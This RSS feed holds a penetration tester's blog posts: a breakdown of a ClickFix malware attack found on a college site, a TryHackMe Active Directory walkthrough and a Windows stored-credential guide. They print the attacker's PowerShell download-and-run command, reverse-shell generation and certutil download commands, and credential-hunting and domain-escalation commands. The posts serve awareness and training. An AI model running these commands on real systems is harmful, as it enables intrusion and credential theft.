<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Christopher Arock on Medium]]></title>
        <description><![CDATA[Stories by Christopher Arock on Medium]]></description>
        <link>https://medium.com/@christopherarock?source=rss-680b622d2d31------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*inUfHP8jTqu3sxRs</url>
            <title>Stories by Christopher Arock on Medium</title>
            <link>https://medium.com/@christopherarock?source=rss-680b622d2d31------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 19:59:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@christopherarock/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I Caught a Malware Attack Hiding on a College Website]]></title>
            <link>https://christopherarock.medium.com/how-i-caught-a-malware-attack-hiding-on-a-college-website-19b3a8377c5f?source=rss-680b622d2d31------2</link>
            <guid isPermaLink="false">https://medium.com/p/19b3a8377c5f</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[social-engineering]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Christopher Arock]]></dc:creator>
            <pubDate>Mon, 29 Jun 2026 07:24:04 GMT</pubDate>
            <atom:updated>2026-06-29T07:24:04.201Z</atom:updated>
            <content:encoded><![CDATA[<h3>A real-world ClickFix attack targeting students — and a complete technical breakdown</h3><p><em>By Christopher Arock</em></p><p>It started as something completely ordinary. I was browsing through a college website checking on something routine. I opened the official website, found the registration page, and clicked the Google Form link.</p><p>What happened next was not ordinary at all.</p><h3>What I Saw</h3><p>Instead of the Google Form, I was redirected to this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*C25pPg6UfagOzdOPpx2Tcg.png" /></figure><p>A page impersonating Cloudflare, asking me to “verify I was human” by:</p><ol><li>Pressing <strong>Win + X</strong></li><li>Opening <strong>PowerShell or Terminal</strong></li><li>Pressing <strong>Ctrl + V</strong> to paste something</li><li>Pressing <strong>Enter</strong> to “verify”</li></ol><p>My immediate reaction: <em>this is wrong.</em> Real Cloudflare bot checks happen entirely inside the browser. They never — under any circumstances — ask you to open a terminal.</p><p>I did not follow the instructions. Instead, I investigated.</p><h3>The Simple Test That Confirmed Everything</h3><p>I copied the Google Form URL from the page source and pasted it directly into my browser.</p><p>It worked perfectly.</p><p>That one observation told me everything: <strong>the college website had been compromised.</strong> The form itself was fine. The malicious code was sitting on the college website, intercepting clicks and redirecting Windows users to the fake verification page before they could reach the actual form.</p><h3>Breaking Down the Malicious Command</h3><p>Here’s what the attacker had pre-loaded into the clipboard, ready to be pasted into PowerShell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8_qFwm7W11AmJ_DNWD01GQ.png" /></figure><p>Let me break this down piece by piece. The full command (reconstructed for analysis):</p><pre>cls;<br>Write-Host &quot;Starting verifying...&quot; -ForegroundColor Green;</pre><pre>$Updater = &#39;Invoke-WebRequest -Uri &#39;&#39;https://perfectcloudgate.com/get_verify?i=38148&#39;&#39; <br>            -OutFile &#39;&#39;Update.zip&#39;&#39; -UseBasicParsing -TimeoutSec 300;<br>Invoke-WebRequest -Uri &#39;&#39;https://nodejs.org/dist/v7.10.1/node-v7.10.1-win-x64.zip&#39;&#39; <br>                  -OutFile &#39;&#39;verify.zip&#39;&#39; -UseBasicParsing -TimeoutSec 300;<br>Expand-Archive &#39;&#39;verify.zip&#39;&#39; -DestinationPath &#39;&#39;C:\ProgramData\&#39;&#39; -Force;<br>Expand-Archive &#39;&#39;Update.zip&#39;&#39; -DestinationPath &#39;&#39;C:\ProgramData\&#39;&#39; -Force;<br>Start-Process &#39;&#39;C:\ProgramData\node-v7.10.1-win-x64\node.exe&#39;&#39; <br>              -ArgumentList &#39;&#39;C:\ProgramData\Update.js&#39;&#39; <br>              -WindowStyle Hidden;<br>Start-Process &#39;&#39;conhost.exe&#39;&#39; <br>              -ArgumentList &#39;&#39;--headless &quot;$PSHOME\powershell.exe&quot;&#39;&#39; <br>              -NoProfile -NoExit -Command &#39;&quot;$Updater&quot;&#39;&#39;;<br>Write-Host &quot;I am not a robot - Cloudflare ID: a8bee074a785855a&quot; -ForegroundColor Green;</pre><h3>Step-by-Step Breakdown</h3><h4>cls; Write-Host &quot;Starting verifying...&quot; -ForegroundColor Green</h4><p><strong>What it does:</strong> Clears the terminal screen and prints a reassuring green message.</p><p><strong>Why:</strong> Pure social engineering. Clearing the screen hides any previous commands or warnings. The green “Starting verifying…” message makes the user think something legitimate is happening.</p><h4>$Updater = &#39;...&#39;</h4><p><strong>What it does:</strong> Stores the entire malicious payload as a string in a variable called $Updater.</p><p><strong>Why:</strong> This is an obfuscation technique. By storing the payload as a variable and executing it later, it’s harder for basic antivirus scanners to detect the malicious intent at a glance.</p><h4>Invoke-WebRequest -Uri &#39;https://perfectcloudgate.com/get_verify?i=38148&#39; -OutFile &#39;Update.zip&#39;</h4><p><strong>What it does:</strong> Downloads a ZIP file from the attacker’s server (perfectcloudgate.com) and saves it as Update.zip.</p><p><strong>Why this is dangerous:</strong> perfectcloudgate.com is a malicious domain controlled by the attacker. The ?i=38148 parameter is likely a campaign/victim tracking ID. The file downloaded here is the actual malware payload.</p><h4>Invoke-WebRequest -Uri &#39;https://nodejs.org/dist/v7.10.1/node-v7.10.1-win-x64.zip&#39; -OutFile &#39;verify.zip&#39;</h4><p><strong>What it does:</strong> Downloads a legitimate, old version of Node.js (v7.10.1) directly from the official Node.js website.</p><p><strong>Why:</strong> The attacker uses a real, trusted binary (node.exe) to run their malicious JavaScript. This is called <strong>Living off Trusted Binaries (LoTB)</strong> — using legitimate software as a weapon to bypass antivirus detection. Since node.exe itself is not malware, many security tools won’t flag it.</p><h4>Expand-Archive &#39;verify.zip&#39; -DestinationPath &#39;C:\ProgramData\&#39; -Force</h4><h4>Expand-Archive &#39;Update.zip&#39; -DestinationPath &#39;C:\ProgramData\&#39; -Force</h4><p><strong>What it does:</strong> Extracts both ZIP files into C:\ProgramData\.</p><p><strong>Why </strong><strong>C:\ProgramData\?</strong> This is a system-level folder that exists on every Windows machine and does not require administrator privileges to write to. It&#39;s a common hiding spot for malware because it&#39;s not a place most users ever look.</p><h4>Start-Process &#39;C:\ProgramData\node-v7.10.1-win-x64\node.exe&#39; -ArgumentList &#39;C:\ProgramData\Update.js&#39; -WindowStyle Hidden</h4><p><strong>What it does:</strong> Silently runs Update.js (the downloaded malware payload) using the Node.js binary, with no visible window.</p><p><strong>Why this is the core of the attack:</strong> Update.js is the actual malicious script — downloaded from the attacker&#39;s server. It runs completely hidden in the background. The user sees nothing. This script could:</p><ul><li>Log keystrokes</li><li>Steal browser cookies and saved passwords</li><li>Upload files to the attacker’s server</li><li>Download and run further malware</li><li>Establish persistent remote access (RAT)</li></ul><h4>Start-Process &#39;conhost.exe&#39; -ArgumentList &#39;--headless &quot;$PSHOME\powershell.exe&quot;&#39; -NoProfile -NoExit -Command &#39;&quot;$Updater&quot;&#39;</h4><p><strong>What it does:</strong> Launches another hidden PowerShell instance via conhost.exe to execute the $Updater payload.</p><p><strong>Why </strong><strong>conhost.exe?</strong> Console Host (conhost.exe) is a legitimate Windows system process. By launching PowerShell through it with --headless, the attacker makes the malicious process blend in with normal system processes in Task Manager. This is a classic <strong>process masquerading</strong> technique.</p><h4>Write-Host &quot;I am not a robot - Cloudflare ID: a8bee074a785855a&quot; -ForegroundColor Green</h4><p><strong>What it does:</strong> Prints a final green success message in the terminal.</p><p><strong>Why:</strong> More social engineering. After running all the malicious steps invisibly, the script shows a convincing “success” message. The user thinks the Cloudflare verification worked. They close the terminal and go back to their browser — completely unaware that malware is now running silently in the background.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4qyAgPJoEs1sgrOtHvYH5w.png" /></figure><p>I uploaded the payload to VirusTotal. Only 2 out of 64 antivirus engines detected it — confirming both that it’s malicious and that it’s specifically designed to evade detection.</p><ul><li><strong>ESET:</strong> JS/TrojanDropper.Agent.QEZ Trojan</li><li><strong>Kaspersky:</strong> HEUR:Trojan-Dropper.Script.Generic</li></ul><h3>Why Only Windows Users Were Targeted</h3><p>This attack was selective. Mac, Linux, and mobile users clicking the same link saw the normal Google Form. Only Windows users were hit with the fake verification page.</p><p>This is because:</p><ul><li>The injected JavaScript detected the visitor’s operating system via the browser’s User-Agent string</li><li>PowerShell only exists on Windows — the malicious command is useless on other platforms</li><li>Windows has the largest user base, making it the most valuable target</li></ul><p>This kind of OS-targeted attack is increasingly common in sophisticated malware campaigns.</p><h3>The Attack Flow — Summary</h3><pre>Student visits college page<br>            ↓<br>Clicks Google Form registration link<br>            ↓<br>Malicious JS intercepts the click (Windows only)<br>            ↓<br>Redirects to fake Cloudflare verification page<br>            ↓<br>User opens PowerShell, pastes command, presses Enter<br>            ↓<br>Downloads malware payload from attacker&#39;s server<br>            ↓<br>Downloads legitimate Node.js binary (to avoid detection)<br>            ↓<br>Runs malware silently via node.exe (hidden window)<br>            ↓<br>Launches disguised persistent PowerShell via conhost.exe<br>            ↓<br>Shows fake &quot;success&quot; message — user suspects nothing<br>            ↓<br>System fully compromised</pre><h3>What I Did</h3><ol><li><strong>Did not run the command</strong> — the instructions were an immediate red flag</li><li><strong>Verified the attack</strong> by copy-pasting the form URL directly (it worked fine)</li><li><strong>Prepared a detailed incident report</strong> and reported it to college authorities</li><li><strong>Wrote this article</strong> so other students and developers can recognize this attack</li></ol><h3>How to Protect Yourself</h3><p><strong>If you visited the page but did NOT run the command:</strong> You’re safe. Just don’t go back and run it.</p><p><strong>If you ran the command:</strong></p><ul><li>Disconnect from the internet immediately</li><li>Run a full scan with Malwarebytes (free) and Windows Defender</li><li>Change all passwords from a different, clean device</li><li>Contact a cybersecurity professional</li></ul><p><strong>For developers and web admins:</strong></p><ul><li>Implement a Content Security Policy (CSP) to prevent script injection</li><li>Use a Web Application Firewall (WAF)</li><li>Audit your site regularly for injected third-party scripts</li><li>Enable Subresource Integrity (SRI) for external scripts</li></ul><h3>The Golden Rule</h3><blockquote><strong><em>No legitimate website — Cloudflare, Google, your bank, or anyone else — will ever ask you to open a terminal and paste a command to verify you are human.</em></strong></blockquote><p>If you ever see that instruction, close the tab immediately.</p><h3>What is ClickFix?</h3><p>ClickFix is a social engineering attack technique that has been growing rapidly since 2024. Attackers compromise websites and inject JavaScript that intercepts user interactions — usually clicks — and redirects users to fake CAPTCHA or error pages. These pages use psychological pressure (“you must verify to continue”) to trick users into running malicious commands themselves, bypassing traditional malware delivery methods entirely.</p><p>Because the user runs the command voluntarily, many endpoint security tools don’t flag it as an attack. The user is, in a sense, the attack vector.</p><p>ClickFix isn’t new — but finding it live on a website I was casually browsing was a reminder that these attacks aren’t just theoretical.</p><p><em>This article is written for educational and awareness purposes. The affected institution was notified before publication. Always practice responsible disclosure.</em></p><p><em>— Christopher Arock</em></p><p><strong>Tags:</strong> #CyberSecurity #Malware #ClickFix #PowerShell #InfoSec #EthicalHacking #WebSecurity #Windows</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=19b3a8377c5f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Dead Drop — Writeup]]></title>
            <link>https://christopherarock.medium.com/tryhackme-dead-drop-writeup-de25124949d0?source=rss-680b622d2d31------2</link>
            <guid isPermaLink="false">https://medium.com/p/de25124949d0</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Christopher Arock]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 09:39:58 GMT</pubDate>
            <atom:updated>2026-06-16T09:39:58.309Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HutYmvWxzc9ATpcyRW0w1w.png" /></figure><p>Dead Drop is a Windows Active Directory box chained off a vulnerable Node.js file-sharing app. The path goes from a login-bypass SQLi, to a leaked NTLM hash, to an Android APK with hardcoded domain creds, through a Ligolo-ng pivot into the internal AD network, and ends with a BloodHound-mapped privilege escalation straight to Domain Admin.</p><p>Flags are redacted below .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u4DXOotZbrc9G0RRKOPYIw.png" /></figure><h3>Recon</h3><p>Kicked off with rustscan piped into Nmap&#39;s default scripts and version detection against the only host I could initially reach:</p><pre>PORT   STATE SERVICE REASON         VERSION<br>22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5<br>80/tcp open  http    syn-ack ttl 63 Node.js Express framework<br>| http-title: DeadDrop - Login<br>|_Requested resource was /login</pre><p>Two open ports: SSH, and an Express app sitting behind a login page called DeadDrop.</p><h3>Foothold — SQL Injection on Login</h3><p>The login form was vulnerable to a basic auth-bypass injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*0f2sVO3Se_Clr9y0Ov8g7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nSqM6GM2Y6hcnn0DxTechA.png" /></figure><p>Once inside the dashboard, there was a file upload feature. Since the backend was Node.js/Express, I uploaded a .js reverse shell instead of a typical webshell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BcPhYKaRGNlsxIdWsgthQQ.png" /></figure><p>Triggering the uploaded file executed the payload and popped a shell back to my listener as the node user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DQZxY6RnLImNVK-CJYFhYQ.png" /></figure><h3>Local Loot — DB Creds and a Shadow Backup</h3><p>With a shell on the box, I went hunting through the app directory and found the SQLite database backing the login system:</p><pre>node@tryhackme-2404:/opt/app/db$ cat deaddrop.db</pre><p>Inside the users table sat two sets of credentials — a svc-backup account and an admin account, both with plaintext-looking passwords stored directly in the DB.</p><p>A second find was more interesting: a backup shadow file.</p><pre>node@tryhackme-2404:/opt/app/backup$ cat shadow.bak<br>svc-drop:$6$f1331af25300c7f3$7twueSf8eUyvgYnPWElPYpspGgBuYJ.TMGrPZ2OBC6pGq18ZGkkPke9S0tRlQ3EpiRLWEqhgnqkh2BOHfdCCH0:...</pre><p>That’s a SHA-512 crypt hash ($6$) for the user svc-drop. Threw it at hashcat against rockyou and it cracked cleanly, giving me valid credentials for svc-drop to use over SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rcWkUH2OY0iYwValVMSYsg.png" /></figure><h3>Pivoting to a Domain Account via an APK</h3><p>SSH’d in as svc-drop and poked around the home directory, where an APK file turned up. Pulled it over to my Kali box (Check this <a href="https://nakkaya.com/2009/04/15/using-netcat-for-file-transfers/">Blog</a> for transfering files throug Netcat)and ran it through a decompiler (jadx) to read the Java source.</p><pre>grep -ir password</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*ks9Y_9q1rJ3khYWanexmSQ.png" /></figure><pre>grep -ir username</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hnnePeEnVJxJKJz2y8JONA.png" /></figure><p>Grepping the decompiled output for credentials surfaced a config class with hardcoded domain credentials baked directly into the app:</p><pre>DEFAULT_USERNAME = &quot;j.harris&quot;;<br>DEFAULT_PASSWORD = &quot;***************&quot;;</pre><p>Classic mobile-app mistake — shipping default/test credentials in the client that turn out to be real domain creds.</p><h3>Pivoting into the Internal Network with Ligolo-ng</h3><p>The DC and other internal hosts weren’t directly reachable from my attacker box — only the initial Linux host was exposed. To reach the AD environment, I set up a Ligolo-ng tunnel: ran the proxy on my attacker machine, dropped an agent binary on the compromised Linux host, connected the agent back to the proxy, and brought up a tunnel interface with routes added for the internal subnet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*z2AlUKBxQgt6_EUuQeK4mw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*fQJegiRC8Mb_LCxCas7A4Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*GqORpNWgejzpUh89KIgJjg.png" /></figure><p>For Detailed Explanation on Ligolo-ng See this <a href="https://0xb0b.gitbook.io/writeups/tryhackme/2026/dead-drop">Blog</a></p><p>Once the tunnel was live, I re-ran rustscan through the pivot against the internal range and landed on a full Windows Server / Active Directory fingerprint:</p><pre>PORT      STATE SERVICE       VERSION<br>53/tcp    open  domain        Simple DNS Plus<br>88/tcp    open  kerberos-sec  Microsoft Windows Kerberos<br>389/tcp   open  ldap          Microsoft Windows AD LDAP (Domain: deaddrop.loc)<br>445/tcp   open  microsoft-ds?<br>3268/tcp  open  ldap<br>3389/tcp  open  ms-wbt-server<br>| rdp-ntlm-info:<br>|   Target_Name: DEADDROP<br>|   NetBIOS_Computer_Name: DEADDROP-DC<br>|   DNS_Computer_Name: DEADDROP-DC.deaddrop.loc<br>5985/tcp  open  http          Microsoft HTTPAPI httpd (WinRM)</pre><p>Domain confirmed as deaddrop.loc, DC hostname DEADDROP-DC. With j.harris&#39;s credentials validated against the domain, I had a legitimate low-privilege foothold in AD.</p><h3>BloodHound — Finding the Escalation Path</h3><p>With domain creds in hand, I ran BloodHound collection against the DC and loaded the data to map out j.harris&#39;s effective permissions.</p><pre>bloodhound-ce.py -u &#39;j.harris&#39; -p &#39;REDACTED&#39; -d deaddrop.loc -dc DEADDROP-DC.deaddrop.loc -ns 192.168.11.100 -c All --zip</pre><p>The graph showed j.harris held an AddMember ACL right over a group called ITSupport-Admins — and that group was itself nested inside Domain Admins. That&#39;s a direct, one-hop escalation: anyone who can add members to ITSupport-Admins can add themselves, and inherit Domain Admin membership transitively.</p><h3>Privilege Escalation and Domain Compromise</h3><p>Used the AddMember right to add j.harris into ITSupport-Admins, which — thanks to the nested group membership — granted Domain Admin privileges. Verified the new access, then connected straight to the DC over WinRM using evil-winrm, landing an administrative shell.</p><pre>bloodyAD --host DEADDROP-DC.deaddrop.loc -d deaddrop.loc -u j.harris -p &#39;REDACTED&#39; add groupMember &#39;ITSupport-Admins&#39; j.harris</pre><h3>Got Evilwin-rm</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*onIR0Qj-F5LTH13So0d9wA.png" /></figure><h3>Another-way!!</h3><h3>Post-Exploitation — Local Privesc Detour (GodPotato)</h3><p>Separately, after getting a foothold via evil-winrm, I used GodPotato to escalate from a service-level context to NT AUTHORITY\SYSTEM</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*gC66h2C4h5s4utUE0KgTlQ.png" /></figure><p>— a token-impersonation privilege escalation technique that abuses the same class of issue as the older Juicy/Rotten/SweetPotato exploits, relevant if the account in use holds SeImpersonatePrivilege but isn&#39;t already SYSTEM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e1m0vneYLMFQ0sDpmjRibw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*2pIAnkoBjjGipoCxX89ELQ.png" /></figure><p>Then Again Logged into Evil-WinRM with the newly created account and got the Flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*ZIeFFglwNKi-8qMxD78d5Q.png" /></figure><h3>Key Takeaways</h3><p>This box chains a lot of classic real-world mistakes into one path: an auth-bypass SQLi on a login form, secrets dropped in a database and a backup shadow file, hardcoded domain credentials shipped inside a mobile app, and an overly generous AD group nesting that let a low-privilege user escalate straight to Domain Admin via a single ACL. Individually these are all common findings; chained together, they show how a handful of small misconfigurations compound into full domain compromise.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=de25124949d0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows PrivEsc: Hunting Stored Credentials]]></title>
            <link>https://christopherarock.medium.com/windows-privesc-hunting-stored-credentials-a24dbc303d8d?source=rss-680b622d2d31------2</link>
            <guid isPermaLink="false">https://medium.com/p/a24dbc303d8d</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Christopher Arock]]></dc:creator>
            <pubDate>Mon, 15 Jun 2026 15:59:16 GMT</pubDate>
            <atom:updated>2026-06-15T15:59:16.548Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Part 3 of the Windows Privilege Escalation series</em></p><p>You’ve RDP’d into a machine as a normal low-privilege user.</p><p>No unquoted service paths. No SeImpersonatePrivilege. Nothing from the usual checklist.</p><p>Then you run one command and find a saved admin password sitting in plaintext.</p><p>This happens more than you’d think.</p><h3>Why Stored Credentials Exist</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0-T_HSHxD9WFRpBN.png" /></figure><p>Windows stores credentials in multiple places because users and admins save passwords to avoid typing them repeatedly — for RDP sessions, automation scripts, software installations, and remote connections.</p><p>As a pentester, these are gifts. Let’s find them.</p><h3>Place 1 — Windows Credential Manager (cmdkey)</h3><p>Windows has a built-in tool called cmdkey that saves credentials for remote connections like RDP and network shares.</p><p><strong>Check what’s saved:</strong></p><pre>cmdkey /list</pre><p><strong>Example output:</strong></p><pre>Currently stored credentials:</pre><pre>Target: Domain:interactive=WORKGROUP\Administrator<br>Type: Domain Password<br>User: WORKGROUP\Administrator</pre><p>Saved admin credentials — and you don’t even need to know the actual password to use them.</p><p><strong>Abuse it with runas:</strong></p><pre>runas /savecred /user:WORKGROUP\Administrator &quot;cmd.exe&quot;</pre><p>Windows pulls the saved credential automatically and spawns a cmd shell as Administrator.</p><p><strong>Get a reverse shell instead:</strong></p><pre># Generate payload<br>msfvenom -p windows/x64/shell_reverse_tcp LHOST=&lt;YOUR_IP&gt; LPORT=4444 -f exe -o shell.exe</pre><pre># Transfer to target<br>certutil -urlcache -f http://&lt;YOUR_IP&gt;:8080/shell.exe C:\Windows\Temp\shell.exe</pre><pre># Execute using saved credentials<br>runas /savecred /user:WORKGROUP\Administrator &quot;C:\Windows\Temp\shell.exe&quot;</pre><p>Catch it on your listener:</p><pre>nc -lvnp 4444</pre><pre>C:\Windows\system32&gt; whoami<br>workgroup\administrator</pre><h3>Place 2 — Registry</h3><p>Admins frequently store credentials in the registry for automation scripts, software configurations, and autologon setups. These are often left behind and forgotten.</p><h3>Autologon Credentials</h3><p>When a machine is configured for automatic login, credentials are stored here in plaintext:</p><pre>reg query &quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot;</pre><p><strong>Example output:</strong></p><pre>DefaultUsername    REG_SZ    Administrator<br>DefaultPassword    REG_SZ    Password123!<br>DefaultDomainName  REG_SZ    WORKGROUP</pre><p>Plaintext admin password — straight from the registry.</p><h3>Broad Registry Search</h3><p>Search the entire registry for anything containing “password”:</p><pre># Search HKLM<br>reg query HKLM /f password /t REG_SZ /s</pre><pre># Search HKCU<br>reg query HKCU /f password /t REG_SZ /s</pre><p>This catches credentials left behind by third party software, VPN clients, backup tools, and deployment scripts.</p><p><strong>Common registry paths worth checking manually:</strong></p><pre>reg query &quot;HKLM\SOFTWARE\OracleVM VirtualBox&quot;<br>reg query &quot;HKCU\Software\SimonTatham\PuTTY\Sessions&quot;<br>reg query &quot;HKLM\SOFTWARE\RealVNC\WinVNC4&quot; /v password</pre><p>VNC, PuTTY, and similar tools frequently store credentials here.</p><h3>Place 3 — PowerShell History</h3><p>Every command a user types in PowerShell gets saved automatically to a history file. Admins frequently type credentials directly into PowerShell commands — and completely forget this file exists.</p><p><strong>Read the history file:</strong></p><pre>type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt</pre><p><strong>Or in PowerShell:</strong></p><pre>Get-Content (Get-PSReadLineOption).HistorySavePath</pre><p><strong>Example output:</strong></p><pre>net user administrator Password123! /add<br>Invoke-WebRequest -Uri http://internal-server/backup -Credential (Get-Credential)<br>$pass = ConvertTo-SecureString &quot;AdminPass456!&quot; -AsPlainText -Force</pre><p>Plaintext passwords typed by an admin weeks ago — still sitting there.</p><h3>Automating Everything with PowerUp</h3><p>Instead of checking each location manually, PowerUp finds stored credentials automatically:</p><p><strong>Transfer and run:</strong></p><pre># On attack machine<br>python3 -m http.server 8080<br><br># On target<br>certutil -urlcache -f http://&lt;YOUR_IP&gt;:8080/PowerUp.ps1 C:\Windows\Temp\PowerUp.ps1<br>powershell -ep bypass<br>. .\PowerUp.ps1<br>Invoke-AllChecks</pre><p><strong>PowerUp checks all of these automatically:</strong></p><pre>[*] Checking for saved credentials...<br>[*] Checking for Autologon credentials in registry...<br>[*] Checking for unattended install files...<br>[*] Checking %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt</pre><h3>Bonus — Other Places Worth Checking</h3><p>While you’re hunting credentials, these are frequently overlooked:</p><p><strong>Unattended installation files</strong> — left behind after Windows deployments:</p><pre>type C:\Windows\Panther\Unattend.xml<br>type C:\Windows\Panther\Unattended.xml<br>type C:\Windows\system32\sysprep\sysprep.xml</pre><p><strong>IIS web config</strong> — database connection strings often contain credentials:</p><pre>type C:\inetpub\wwwroot\web.config | findstr /i &quot;password&quot;</pre><p><strong>FileZilla FTP credentials:</strong></p><pre>type &quot;%APPDATA%\FileZilla\recentservers.xml&quot;</pre><h3>Blue Team Perspective — How Defenders Catch This</h3><p><strong>Windows Event IDs to watch:</strong></p><pre>Event ID    What it means<br>─────────────────────────────────────────────────────────────────<br>4648        Logon with explicit credentials — runas /savecred usage<br>4624        Successful logon — unexpected admin logon from low priv user<br>4688        New process created — cmd/powershell spawned by runas<br>4657        Registry value modified — credentials written to registry<br>─────────────────────────────────────────────────────────────────</pre><p><strong>Suspicious patterns a SOC analyst would flag:</strong></p><ul><li>Standard user account spawning processes as Administrator via runas</li><li>reg query commands with /f password from a non-admin session</li><li>PowerShell reading ConsoleHost_history.txt — a known credential hunting technique</li><li>certutil.exe downloading files from external IPs</li></ul><p><strong>SIEM query example (Splunk):</strong></p><pre>index=windows EventCode=4688<br>CommandLine=&quot;*reg query*password*&quot;<br>| table _time, ComputerName, User, CommandLine</pre><p>This catches registry credential searches directly — one of the first things attackers run after landing a shell.</p><h3>Remediation</h3><p>For defenders and your pentest reports:</p><ol><li><strong>Clear saved credentials regularly</strong> — audit with cmdkey /list and remove stale entries with cmdkey /delete</li><li><strong>Disable autologon</strong> — never store plaintext credentials in Winlogon registry keys</li><li><strong>Clear PowerShell history</strong> — set history size to 0 on sensitive systems or clear it after administrative tasks</li><li><strong>Restrict registry permissions</strong> — standard users should not have read access to sensitive registry paths</li><li><strong>Use Windows Credential Guard</strong> — protects stored credentials from being read by low-privilege processes</li><li><strong>Audit third party software</strong> — VNC, FTP clients, and backup tools are frequent offenders</li></ol><p><strong>Quick audit for sysadmins:</strong></p><pre># Check for autologon credentials<br>reg query &quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; | findstr /i &quot;password&quot;</pre><pre># List all saved credentials<br>cmdkey /list</pre><p>If either returns credentials — remediate immediately.</p><h3>Key Takeaways</h3><ul><li>Stored credentials are one of the most common real-world PrivEsc paths — not just CTFs</li><li>cmdkey /list + runas /savecred is a one-two punch that requires zero password knowledge</li><li>Registry autologon credentials are plaintext — always check Winlogon</li><li>PowerShell history is a goldmine admins forget exists</li><li>PowerUp automates all of this — use it for efficiency</li><li>The fix is simple — stop storing credentials. Use proper secrets management.</li></ul><p><em>Part 1: </em><a href="https://medium.com/@christopherarock482004/from-service-account-to-system-abusing-seimpersonateprivilege-on-windows-54a1ff0c3b6b"><em>From Service Account to SYSTEM: Abusing SeImpersonatePrivilege</em></a></p><p><em>Part 2: </em><a href="https://medium.com/@christopherarock/windows-privesc-unquoted-service-paths-explained-018ecd3d16cc"><em>Unquoted Service Paths</em></a></p><p><em>Written by Christopher Arock — Penetration Tester | linkedin.com/in/christopher-arock | github.com/arock404</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a24dbc303d8d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows PrivEsc: Unquoted Service Paths Explained]]></title>
            <link>https://christopherarock.medium.com/windows-privesc-unquoted-service-paths-explained-018ecd3d16cc?source=rss-680b622d2d31------2</link>
            <guid isPermaLink="false">https://medium.com/p/018ecd3d16cc</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[windows-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[Christopher Arock]]></dc:creator>
            <pubDate>Thu, 11 Jun 2026 17:59:25 GMT</pubDate>
            <atom:updated>2026-06-11T17:59:25.799Z</atom:updated>
